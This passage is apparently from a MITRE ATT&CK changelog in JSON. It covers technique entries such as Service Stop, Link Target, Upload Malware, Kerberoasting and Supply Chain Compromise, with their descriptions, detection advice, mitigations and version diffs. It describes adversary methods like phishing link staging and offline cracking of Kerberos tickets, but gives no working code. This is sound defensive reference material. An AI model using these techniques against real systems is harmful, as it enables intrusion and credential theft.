}, + "changelog_detections": { + "shared": [ + "DS0009: Process (Process Creation)", + "DS0011: Module (Module Load)", + "DS0017: Command (Command Execution)", + "DS0022: File (File Modification)", + "DS0024: Windows Registry (Windows Registry Key Modification)" + ], + "new": [], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--20fb2507-d71c-455d-9b6d-6104461cf26b", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-03-29 19:00:55.901000+00:00", + "modified": "2024-10-12 15:57:27.380000+00:00", + "name": "Service Stop", + "description": "Adversaries may stop or disable services on a system to render those services unavailable to legitimate users. Stopping critical services or processes can inhibit or stop response to an incident or aid in the adversary's overall objectives to cause damage to the environment.(Citation: Talos Olympic Destroyer 2018)(Citation: Novetta Blockbuster) \n\nAdversaries may accomplish this by disabling individual services of high importance to an organization, such as MSExchangeIS, which will make Exchange content inaccessible.(Citation: Novetta Blockbuster) In some cases, adversaries may stop or disable many or all services to render systems unusable.(Citation: Talos Olympic Destroyer 2018) Services or processes may not allow for modification of their data stores while running. Adversaries may stop services or processes in order to conduct [Data Destruction](https://attack.mitre.org/techniques/T1485) or [Data Encrypted for Impact](https://attack.mitre.org/techniques/T1486) on the data stores of services like Exchange and SQL Server.(Citation: SecureWorks WannaCry Analysis)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "impact" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1489", + "external_id": "T1489" + }, + { + "source_name": "SecureWorks WannaCry Analysis", + "description": "Counter Threat Unit Research Team. (2017, May 18). WCry Ransomware Analysis. Retrieved March 26, 2019.", + "url": "https://www.secureworks.com/research/wcry-ransomware-analysis" + }, + { + "source_name": "Talos Olympic Destroyer 2018", + "description": "Mercer, W. and Rascagneres, P. (2018, February 12). Olympic Destroyer Takes Aim At Winter Olympics. Retrieved March 14, 2019.", + "url": "https://blog.talosintelligence.com/2018/02/olympic-destroyer.html" + }, + { + "source_name": "Novetta Blockbuster", + "description": "Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Unraveling the Long Thread of the Sony Attack. Retrieved February 25, 2016.", + "url": "https://web.archive.org/web/20160226161828/https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Report.pdf" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_data_sources": [ + "Process: Process Creation", + "Process: Process Termination", + "Windows Registry: Windows Registry Key Modification", + "Command: Command Execution", + "File: File Modification", + "Process: OS API Execution", + "Service: Service Metadata" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "Monitor processes and command-line arguments to see if critical processes are terminated or stop running.\n\nMonitor for edits for modifications to services and startup programs that correspond to services of high importance. Look for changes to services that do not correlate with known software, patch cycles, etc. Windows service information is stored in the Registry at HKLM\\SYSTEM\\CurrentControlSet\\Services. Systemd service unit files are stored within the /etc/systemd/system, /usr/lib/systemd/system/, and /home/.config/systemd/user/ directories, as well as associated symbolic links.\n\nAlterations to the service binary path or the service startup type changed to disabled may be suspicious.\n\nRemote access tools with built-in features may interact directly with the Windows API to perform these functions outside of typical system utilities. For example, ChangeServiceConfigW may be used by an adversary to prevent services from starting.(Citation: Talos Olympic Destroyer 2018)", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_impact_type": [ + "Availability" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows", + "Linux", + "macOS" + ], + "x_mitre_version": "1.2", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2024-10-12 15:57:27.380000+00:00\", \"old_value\": \"2022-07-28 18:47:11.957000+00:00\"}, \"root['description']\": {\"new_value\": \"Adversaries may stop or disable services on a system to render those services unavailable to legitimate users. Stopping critical services or processes can inhibit or stop response to an incident or aid in the adversary's overall objectives to cause damage to the environment.(Citation: Talos Olympic Destroyer 2018)(Citation: Novetta Blockbuster) \\n\\nAdversaries may accomplish this by disabling individual services of high importance to an organization, such as MSExchangeIS, which will make Exchange content inaccessible.(Citation: Novetta Blockbuster) In some cases, adversaries may stop or disable many or all services to render systems unusable.(Citation: Talos Olympic Destroyer 2018) Services or processes may not allow for modification of their data stores while running. Adversaries may stop services or processes in order to conduct [Data Destruction](https://attack.mitre.org/techniques/T1485) or [Data Encrypted for Impact](https://attack.mitre.org/techniques/T1486) on the data stores of services like Exchange and SQL Server.(Citation: SecureWorks WannaCry Analysis)\", \"old_value\": \"Adversaries may stop or disable services on a system to render those services unavailable to legitimate users. Stopping critical services or processes can inhibit or stop response to an incident or aid in the adversary's overall objectives to cause damage to the environment.(Citation: Talos Olympic Destroyer 2018)(Citation: Novetta Blockbuster) \\n\\nAdversaries may accomplish this by disabling individual services of high importance to an organization, such as MSExchangeIS, which will make Exchange content inaccessible (Citation: Novetta Blockbuster). In some cases, adversaries may stop or disable many or all services to render systems unusable.(Citation: Talos Olympic Destroyer 2018) Services or processes may not allow for modification of their data stores while running. Adversaries may stop services or processes in order to conduct [Data Destruction](https://attack.mitre.org/techniques/T1485) or [Data Encrypted for Impact](https://attack.mitre.org/techniques/T1486) on the data stores of services like Exchange and SQL Server.(Citation: SecureWorks WannaCry Analysis)\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +1,3 @@\\n Adversaries may stop or disable services on a system to render those services unavailable to legitimate users. Stopping critical services or processes can inhibit or stop response to an incident or aid in the adversary's overall objectives to cause damage to the environment.(Citation: Talos Olympic Destroyer 2018)(Citation: Novetta Blockbuster) \\n \\n-Adversaries may accomplish this by disabling individual services of high importance to an organization, such as MSExchangeIS, which will make Exchange content inaccessible (Citation: Novetta Blockbuster). In some cases, adversaries may stop or disable many or all services to render systems unusable.(Citation: Talos Olympic Destroyer 2018) Services or processes may not allow for modification of their data stores while running. Adversaries may stop services or processes in order to conduct [Data Destruction](https://attack.mitre.org/techniques/T1485) or [Data Encrypted for Impact](https://attack.mitre.org/techniques/T1486) on the data stores of services like Exchange and SQL Server.(Citation: SecureWorks WannaCry Analysis)\\n+Adversaries may accomplish this by disabling individual services of high importance to an organization, such as MSExchangeIS, which will make Exchange content inaccessible.(Citation: Novetta Blockbuster) In some cases, adversaries may stop or disable many or all services to render systems unusable.(Citation: Talos Olympic Destroyer 2018) Services or processes may not allow for modification of their data stores while running. Adversaries may stop services or processes in order to conduct [Data Destruction](https://attack.mitre.org/techniques/T1485) or [Data Encrypted for Impact](https://attack.mitre.org/techniques/T1486) on the data stores of services like Exchange and SQL Server.(Citation: SecureWorks WannaCry Analysis)\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.2.0\", \"old_value\": \"2.1.0\"}}}", + "previous_version": "1.2", + "description_change_table": "\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n

Old Description
New Description
t1Adversaries may stop or disable services on a system to rendt1Adversaries may stop or disable services on a system to rend
>er those services unavailable to legitimate users. Stopping >er those services unavailable to legitimate users. Stopping 
>critical services or processes can inhibit or stop response >critical services or processes can inhibit or stop response 
>to an incident or aid in the adversary's overall objectives >to an incident or aid in the adversary's overall objectives 
>to cause damage to the environment.(Citation: Talos Olympic >to cause damage to the environment.(Citation: Talos Olympic 
>Destroyer 2018)(Citation: Novetta Blockbuster)   Adversaries>Destroyer 2018)(Citation: Novetta Blockbuster)   Adversaries
> may accomplish this by disabling individual services of hig> may accomplish this by disabling individual services of hig
>h importance to an organization, such as <code>MSExchangeIS<>h importance to an organization, such as <code>MSExchangeIS<
>/code>, which will make Exchange content inaccessible (Citat>/code>, which will make Exchange content inaccessible.(Citat
>ion: Novetta Blockbuster). In some cases, adversaries may st>ion: Novetta Blockbuster) In some cases, adversaries may sto
>op or disable many or all services to render systems unusabl>p or disable many or all services to render systems unusable
>e.(Citation: Talos Olympic Destroyer 2018) Services or proce>.(Citation: Talos Olympic Destroyer 2018) Services or proces
>sses may not allow for modification of their data stores whi>ses may not allow for modification of their data stores whil
>le running. Adversaries may stop services or processes in or>e running. Adversaries may stop services or processes in ord
>der to conduct [Data Destruction](https://attack.mitre.org/t>er to conduct [Data Destruction](https://attack.mitre.org/te
>echniques/T1485) or [Data Encrypted for Impact](https://atta>chniques/T1485) or [Data Encrypted for Impact](https://attac
>ck.mitre.org/techniques/T1486) on the data stores of service>k.mitre.org/techniques/T1486) on the data stores of services
>s like Exchange and SQL Server.(Citation: SecureWorks WannaC> like Exchange and SQL Server.(Citation: SecureWorks WannaCr
>ry Analysis)>y Analysis)
", + "changelog_mitigations": { + "shared": [ + "M1018: User Account Management", + "M1022: Restrict File and Directory Permissions", + "M1024: Restrict Registry Permissions", + "M1030: Network Segmentation" + ], + "new": [ + "M1060: Out-of-Band Communications Channel" + ], + "dropped": [] + }, + "changelog_detections": { + "shared": [ + "DS0009: Process (OS API Execution)", + "DS0009: Process (Process Creation)", + "DS0009: Process (Process Termination)", + "DS0017: Command (Command Execution)", + "DS0019: Service (Service Metadata)", + "DS0022: File (File Modification)", + "DS0024: Windows Registry (Windows Registry Key Modification)" + ], + "new": [], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--84ae8255-b4f4-4237-b5c5-e717405a9701", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2021-03-17 20:35:08.429000+00:00", + "modified": "2024-10-16 20:09:41.391000+00:00", + "name": "Link Target", + "description": "Adversaries may put in place resources that are referenced by a link that can be used during targeting. An adversary may rely upon a user clicking a malicious link in order to divulge information (including credentials) or to gain execution, as in [Malicious Link](https://attack.mitre.org/techniques/T1204/001). Links can be used for spearphishing, such as sending an email accompanied by social engineering text to coax the user to actively click or copy and paste a URL into a browser. Prior to a phish for information (as in [Spearphishing Link](https://attack.mitre.org/techniques/T1598/003)) or a phish to gain initial access to a system (as in [Spearphishing Link](https://attack.mitre.org/techniques/T1566/002)), an adversary must set up the resources for a link target for the spearphishing link. \n\nTypically, the resources for a link target will be an HTML page that may include some client-side script such as [JavaScript](https://attack.mitre.org/techniques/T1059/007) to decide what content to serve to the user. Adversaries may clone legitimate sites to serve as the link target, this can include cloning of login pages of legitimate web services or organization login pages in an effort to harvest credentials during [Spearphishing Link](https://attack.mitre.org/techniques/T1598/003).(Citation: Malwarebytes Silent Librarian October 2020)(Citation: Proofpoint TA407 September 2019) Adversaries may also [Upload Malware](https://attack.mitre.org/techniques/T1608/001) and have the link target point to malware for download/execution by the user.\n\nAdversaries may purchase domains similar to legitimate domains (ex: homoglyphs, typosquatting, different top-level domain, etc.) during acquisition of infrastructure ([Domains](https://attack.mitre.org/techniques/T1583/001)) to help facilitate [Malicious Link](https://attack.mitre.org/techniques/T1204/001).\n\nLinks can be written by adversaries to mask the true destination in order to deceive victims by abusing the URL schema and increasing the effectiveness of phishing.(Citation: Kaspersky-masking)(Citation: mandiant-masking)\n\nAdversaries may also use free or paid accounts on link shortening services and Platform-as-a-Service providers to host link targets while taking advantage of the widely trusted domains of those providers to avoid being blocked while redirecting victims to malicious pages.(Citation: Netskope GCP Redirection)(Citation: Netskope Cloud Phishing)(Citation: Intezer App Service Phishing)(Citation: Cofense-redirect) In addition, adversaries may serve a variety of malicious links through uniquely generated URIs/URLs (including one-time, single use links).(Citation: iOS URL Scheme)(Citation: URI)(Citation: URI Use)(Citation: URI Unique) Finally, adversaries may take advantage of the decentralized nature of the InterPlanetary File System (IPFS) to host link targets that are difficult to remove.(Citation: Talos IPFS 2022)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "resource-development" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1608/005", + "external_id": "T1608.005" + }, + { + "source_name": "Netskope GCP Redirection", + "description": "Ashwin Vamshi. (2019, January 24). Targeted Attacks Abusing Google Cloud Platform Open Redirection. Retrieved August 18, 2022.", + "url": "https://www.netskope.com/blog/targeted-attacks-abusing-google-cloud-platform-open-redirection" + }, + { + "source_name": "Netskope Cloud Phishing", + "description": "Ashwin Vamshi. (2020, August 12). A Big Catch: Cloud Phishing from Google App Engine and Azure App Service. Retrieved August 18, 2022.", + "url": "https://www.netskope.com/blog/a-big-catch-cloud-phishing-from-google-app-engine-and-azure-app-service" + }, + { + "source_name": "URI Unique", + "description": "Australian Cyber Security Centre. National Security Agency. (2020, April 21). Detect and Prevent Web Shell Malware. Retrieved February 9, 2024.", + "url": "https://media.defense.gov/2020/Jun/09/2002313081/-1/-1/0/CSI-DETECT-AND-PREVENT-WEB-SHELL-MALWARE-20200422.PDF" + }, + { + "source_name": "Kaspersky-masking", + "description": "Dedenok, Roman. (2023, December 12). How cybercriminals disguise URLs. Retrieved January 17, 2024.", + "url": "https://www.kaspersky.com/blog/malicious-redirect-methods/50045/" + }, + { + "source_name": "Talos IPFS 2022", + "description": "Edmund Brumaghin. (2022, November 9). Threat Spotlight: Cyber Criminal Adoption of IPFS for Phishing, Malware Campaigns. Retrieved March 8, 2023.", + "url": "https://blog.talosintelligence.com/ipfs-abuse/" + }, + { + "source_name": "Malwarebytes Silent Librarian October 2020", + "description": "Malwarebytes Threat Intelligence Team. (2020, October 14). Silent Librarian APT right on schedule for 20/21 academic year. Retrieved February 3, 2021.", + "url": "https://blog.malwarebytes.com/malwarebytes-news/2020/10/silent-librarian-apt-phishing-attack/" + }, + { + "source_name": "URI", + "description": "Michael Cobb. (2007, October 11). Preparing for uniform resource identifier (URI) exploits. Retrieved February 9, 2024.", + "url": "https://www.techtarget.com/searchsecurity/tip/Preparing-for-uniform-resource-identifier-URI-exploits" + }, + { + "source_name": "URI Use", + "description": "Nathan McFeters. Billy Kim Rios. Rob Carter.. (2008). URI Use and Abuse. Retrieved February 9, 2024.", + "url": "https://www.blackhat.com/presentations/bh-dc-08/McFeters-Rios-Carter/Presentation/bh-dc-08-mcfeters-rios-carter.pdf" + }, + { + "source_name": "iOS URL Scheme", + "description": "Ostorlab. (n.d.). iOS URL Scheme Hijacking. Retrieved February 9, 2024.", + "url": "https://docs.ostorlab.co/kb/IPA_URL_SCHEME_HIJACKING/index.html" + }, + { + "source_name": "Intezer App Service Phishing", + "description": "Paul Litvak. (2020, October 8). Kud I Enter Your Server? New Vulnerabilities in Microsoft Azure. Retrieved August 18, 2022.", + "url": "https://www.intezer.com/blog/malware-analysis/kud-i-enter-your-server-new-vulnerabilities-in-microsoft-azure/" + }, + { + "source_name": "Proofpoint TA407 September 2019", + "description": "Proofpoint Threat Insight Team. (2019, September 5). Threat Actor Profile: TA407, the Silent Librarian. Retrieved February 3, 2021.", + "url": "https://www.proofpoint.com/us/threat-insight/post/threat-actor-profile-ta407-silent-librarian" + }, + { + "source_name": "Cofense-redirect", + "description": "Raymond, Nathaniel. (2023, August 16). Major Energy Company Targeted in Large QR Code Phishing Campaign. Retrieved January 17, 2024.", + "url": "https://cofense.com/blog/major-energy-company-targeted-in-large-qr-code-campaign/" + }, + { + "source_name": "mandiant-masking", + "description": "Simonian, Nick. (2023, May 22). Don't @ Me: URL Obfuscation Through Schema Abuse. Retrieved January 17, 2024.", + "url": "https://www.mandiant.com/resources/blog/url-obfuscation-schema-abuse" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Menachem Goldstein", + "Hen Porcilan", + "Diyar Saadi Ali", + "Nikola Kovac" + ], + "x_mitre_data_sources": [ + "Internet Scan: Response Content" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "If infrastructure or patterns in malicious web content have been previously identified, internet scanning may uncover when an adversary has staged web content to make it accessible for targeting.\n\nMuch of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on other phases of the adversary lifecycle, such as during [Spearphishing Link](https://attack.mitre.org/techniques/T1598/003), [Spearphishing Link](https://attack.mitre.org/techniques/T1566/002), or [Malicious Link](https://attack.mitre.org/techniques/T1204/001).", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "PRE" + ], + "x_mitre_version": "1.4", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2024-10-16 20:09:41.391000+00:00\", \"old_value\": \"2024-04-28 15:57:26.842000+00:00\"}, \"root['x_mitre_contributors'][0]\": {\"new_value\": \"Menachem Goldstein\", \"old_value\": \"Goldstein Menachem\"}}}", + "previous_version": "1.4", + "changelog_mitigations": { + "shared": [ + "M1056: Pre-compromise" + ], + "new": [], + "dropped": [] + }, + "changelog_detections": { + "shared": [ + "DS0035: Internet Scan (Response Content)" + ], + "new": [], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--3ee16395-03f0-4690-a32e-69ce9ada0f9e", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2021-03-17 20:09:13.222000+00:00", + "modified": "2024-10-16 20:13:40.501000+00:00", + "name": "Upload Malware", + "description": "Adversaries may upload malware to third-party or adversary controlled infrastructure to make it accessible during targeting. Malicious software can include payloads, droppers, post-compromise tools, backdoors, and a variety of other malicious content. Adversaries may upload malware to support their operations, such as making a payload available to a victim network to enable [Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105) by placing it on an Internet accessible web server.\n\nMalware may be placed on infrastructure that was previously purchased/rented by the adversary ([Acquire Infrastructure](https://attack.mitre.org/techniques/T1583)) or was otherwise compromised by them ([Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)). Malware can also be staged on web services, such as GitHub or Pastebin, or hosted on the InterPlanetary File System (IPFS), where decentralized content storage makes the removal of malicious files difficult.(Citation: Volexity Ocean Lotus November 2020)(Citation: Talos IPFS 2022)\n\nAdversaries may upload backdoored files, such as application binaries, virtual machine images, or container images, to third-party software stores or repositories (ex: GitHub, CNET, AWS Community AMIs, Docker Hub). By chance encounter, victims may directly download/install these backdoored files via [User Execution](https://attack.mitre.org/techniques/T1204). [Masquerading](https://attack.mitre.org/techniques/T1036) may increase the chance of users mistakenly executing these files.", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "resource-development" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1608/001", + "external_id": "T1608.001" + }, + { + "source_name": "Volexity Ocean Lotus November 2020", + "description": "Adair, S. and Lancaster, T. (2020, November 6). OceanLotus: Extending Cyber Espionage Operations Through Fake Websites. Retrieved November 20, 2020.", + "url": "https://www.volexity.com/blog/2020/11/06/oceanlotus-extending-cyber-espionage-operations-through-fake-websites/" + }, + { + "source_name": "Talos IPFS 2022", + "description": "Edmund Brumaghin. (2022, November 9). Threat Spotlight: Cyber Criminal Adoption of IPFS for Phishing, Malware Campaigns. Retrieved March 8, 2023.", + "url": "https://blog.talosintelligence.com/ipfs-abuse/" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Kobi Haimovich, CardinalOps", + "Menachem Goldstein" + ], + "x_mitre_data_sources": [ + "Internet Scan: Response Content" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "If infrastructure or patterns in malware have been previously identified, internet scanning may uncover when an adversary has staged malware to make it accessible for targeting.\n\nMuch of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on post-compromise phases of the adversary lifecycle, such as [User Execution](https://attack.mitre.org/techniques/T1204) or [Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105).", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "PRE" + ], + "x_mitre_version": "1.2", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2024-10-16 20:13:40.501000+00:00\", \"old_value\": \"2023-04-11 23:22:49.534000+00:00\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.2.0\", \"old_value\": \"3.1.0\"}, \"root['x_mitre_contributors'][1]\": {\"new_value\": \"Menachem Goldstein\", \"old_value\": \"Goldstein Menachem\"}}}", + "previous_version": "1.2", + "changelog_mitigations": { + "shared": [ + "M1056: Pre-compromise" + ], + "new": [], + "dropped": [] + }, + "changelog_detections": { + "shared": [ + "DS0035: Internet Scan (Response Content)" + ], + "new": [], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--f2877f7f-9a4c-4251-879f-1224e3006bee", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-02-11 18:43:38.588000+00:00", + "modified": "2024-09-23 22:20:10.994000+00:00", + "name": "Kerberoasting", + "description": "Adversaries may abuse a valid Kerberos ticket-granting ticket (TGT) or sniff network traffic to obtain a ticket-granting service (TGS) ticket that may be vulnerable to [Brute Force](https://attack.mitre.org/techniques/T1110).(Citation: Empire InvokeKerberoast Oct 2016)(Citation: AdSecurity Cracking Kerberos Dec 2015) \n\nService principal names (SPNs) are used to uniquely identify each instance of a Windows service. To enable authentication, Kerberos requires that SPNs be associated with at least one service logon account (an account specifically tasked with running a service(Citation: Microsoft Detecting Kerberoasting Feb 2018)).(Citation: Microsoft SPN)(Citation: Microsoft SetSPN)(Citation: SANS Attacking Kerberos Nov 2014)(Citation: Harmj0y Kerberoast Nov 2016)\n\nAdversaries possessing a valid Kerberos ticket-granting ticket (TGT) may request one or more Kerberos ticket-granting service (TGS) service tickets for any SPN from a domain controller (DC).(Citation: Empire InvokeKerberoast Oct 2016)(Citation: AdSecurity Cracking Kerberos Dec 2015) Portions of these tickets may be encrypted with the RC4 algorithm, meaning the Kerberos 5 TGS-REP etype 23 hash of the service account associated with the SPN is used as the private key and is thus vulnerable to offline [Brute Force](https://attack.mitre.org/techniques/T1110) attacks that may expose plaintext credentials.(Citation: AdSecurity Cracking Kerberos Dec 2015)(Citation: Empire InvokeKerberoast Oct 2016) (Citation: Harmj0y Kerberoast Nov 2016)\n\nThis same behavior could be executed using service tickets captured from network traffic.(Citation: AdSecurity Cracking Kerberos Dec 2015)\n\nCracked hashes may enable [Persistence](https://attack.mitre.org/tactics/TA0003), [Privilege Escalation](https://attack.mitre.org/tactics/TA0004), and [Lateral Movement](https://attack.mitre.org/tactics/TA0008) via access to [Valid Accounts](https://attack.mitre.org/techniques/T1078).(Citation: SANS Attacking Kerberos Nov 2014)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "credential-access" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1558/003", + "external_id": "T1558.003" + }, + { + "source_name": "Microsoft Detecting Kerberoasting Feb 2018", + "description": "Bani, M. (2018, February 23). Detecting Kerberoasting activity using Azure Security Center. Retrieved March 23, 2018.", + "url": "https://blogs.technet.microsoft.com/motiba/2018/02/23/detecting-kerberoasting-activity-using-azure-security-center/" + }, + { + "source_name": "Empire InvokeKerberoast Oct 2016", + "description": "EmpireProject. (2016, October 31). Invoke-Kerberoast.ps1. Retrieved March 22, 2018.", + "url": "https://github.com/EmpireProject/Empire/blob/master/data/module_source/credentials/Invoke-Kerberoast.ps1" + }, + { + "source_name": "SANS Attacking Kerberos Nov 2014", + "description": "Medin, T. (2014, November). Attacking Kerberos - Kicking the Guard Dog of Hades. Retrieved March 22, 2018.", + "url": "https://redsiege.com/kerberoast-slides" + }, + { + "source_name": "AdSecurity Cracking Kerberos Dec 2015", + "description": "Metcalf, S. (2015, December 31). Cracking Kerberos TGS Tickets Using Kerberoast \u2013 Exploiting Kerberos to Compromise the Active Directory Domain. Retrieved March 22, 2018.", + "url": "https://adsecurity.org/?p=2293" + }, + { + "source_name": "Microsoft SetSPN", + "description": "Microsoft. (2010, April 13). Service Principal Names (SPNs) SetSPN Syntax (Setspn.exe). Retrieved March 22, 2018.", + "url": "https://social.technet.microsoft.com/wiki/contents/articles/717.service-principal-names-spns-setspn-syntax-setspn-exe.aspx" + }, + { + "source_name": "Microsoft SPN", + "description": "Microsoft. (n.d.). Service Principal Names. Retrieved March 22, 2018.", + "url": "https://msdn.microsoft.com/library/ms677949.aspx" + }, + { + "source_name": "Harmj0y Kerberoast Nov 2016", + "description": "Schroeder, W. (2016, November 1). Kerberoasting Without Mimikatz. Retrieved September 23, 2024.", + "url": "https://blog.harmj0y.net/powershell/kerberoasting-without-mimikatz/" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Praetorian" + ], + "x_mitre_data_sources": [ + "Active Directory: Active Directory Credential Request" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "Enable Audit Kerberos Service Ticket Operations to log Kerberos TGS service ticket requests. Particularly investigate irregular patterns of activity (ex: accounts making numerous requests, Event ID 4769, within a small time frame, especially if they also request RC4 encryption [Type 0x17]).(Citation: Microsoft Detecting Kerberoasting Feb 2018)(Citation: AdSecurity Cracking Kerberos Dec 2015)", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_system_requirements": [ + "Valid domain account or the ability to sniff traffic within a domain" + ], + "x_mitre_version": "1.2", + "detailed_diff": "{\"dictionary_item_added\": {\"root['x_mitre_deprecated']\": false}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2024-09-23 22:20:10.994000+00:00\", \"old_value\": \"2023-03-30 21:01:46.538000+00:00\"}, \"root['external_references'][7]['description']\": {\"new_value\": \"Schroeder, W. (2016, November 1). Kerberoasting Without Mimikatz. Retrieved September 23, 2024.\", \"old_value\": \"Schroeder, W. (2016, November 1). Kerberoasting Without Mimikatz. Retrieved March 23, 2018.\"}, \"root['external_references'][7]['url']\": {\"new_value\": \"https://blog.harmj0y.net/powershell/kerberoasting-without-mimikatz/\", \"old_value\": \"https://www.harmj0y.net/blog/powershell/kerberoasting-without-mimikatz/\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.2.0\", \"old_value\": \"3.1.0\"}}}", + "previous_version": "1.2", + "changelog_mitigations": { + "shared": [ + "M1026: Privileged Account Management", + "M1027: Password Policies", + "M1041: Encrypt Sensitive Information" + ], + "new": [], + "dropped": [] + }, + "changelog_detections": { + "shared": [ + "DS0026: Active Directory (Active Directory Credential Request)" + ], + "new": [], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--3f18edba-28f4-4bb9-82c3-8aa60dcac5f7", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18 17:59:24.739000+00:00", + "modified": "2024-10-04 11:17:00.778000+00:00", + "name": "Supply Chain Compromise", + "description": "Adversaries may manipulate products or product delivery mechanisms prior to receipt by a final consumer for the purpose of data or system compromise.\n\nSupply chain compromise can take place at any stage of the supply chain including:\n\n* Manipulation of development tools\n* Manipulation of a development environment\n* Manipulation of source code repositories (public or private)\n* Manipulation of source code in open-source dependencies\n* Manipulation of software update/distribution mechanisms\n* Compromised/infected system images (multiple cases of removable media infected at the factory)(Citation: IBM Storwize)(Citation: Schneider Electric USB Malware) \n* Replacement of legitimate software with modified versions\n* Sales of modified/counterfeit products to legitimate distributors\n* Shipment interdiction\n\nWhile supply chain compromise can impact any component of hardware or software, adversaries looking to gain execution have often focused on malicious additions to legitimate software in software distribution or update channels.(Citation: Avast CCleaner3 2018)(Citation: Microsoft Dofoil 2018)(Citation: Command Five SK 2011) Targeting may be specific to a desired victim set or malicious software may be distributed to a broad set of consumers but only move on to additional tactics on specific victims.(Citation: Symantec Elderwood Sept 2012)(Citation: Avast CCleaner3 2018)(Citation: Command Five SK 2011) Popular open source projects that are used as dependencies in many applications may also be targeted as a means to add malicious code to users of the dependency.(Citation: Trendmicro NPM Compromise)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "initial-access" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1195", + "external_id": "T1195" + }, + { + "source_name": "Avast CCleaner3 2018", + "description": "Avast Threat Intelligence Team. (2018, March 8). New investigations into the CCleaner incident point to a possible third stage that had keylogger capacities. Retrieved March 15, 2018.", + "url": "https://blog.avast.com/new-investigations-in-ccleaner-incident-point-to-a-possible-third-stage-that-had-keylogger-capacities" + }, + { + "source_name": "Command Five SK 2011", + "description": "Command Five Pty Ltd. (2011, September). SK Hack by an Advanced Persistent Threat. Retrieved April 6, 2018.", + "url": "https://www.commandfive.com/papers/C5_APT_SKHack.pdf" + }, + { + "source_name": "IBM Storwize", + "description": "IBM Support. (2017, April 26). Storwize USB Initialization Tool may contain malicious code. Retrieved May 28, 2019.", + "url": "https://www-01.ibm.com/support/docview.wss?uid=ssg1S1010146&myns=s028&mynp=OCSTHGUJ&mynp=OCSTLM5A&mynp=OCSTLM6B&mynp=OCHW206&mync=E&cm_sp=s028-_-OCSTHGUJ-OCSTLM5A-OCSTLM6B-OCHW206-_-E" + }, + { + 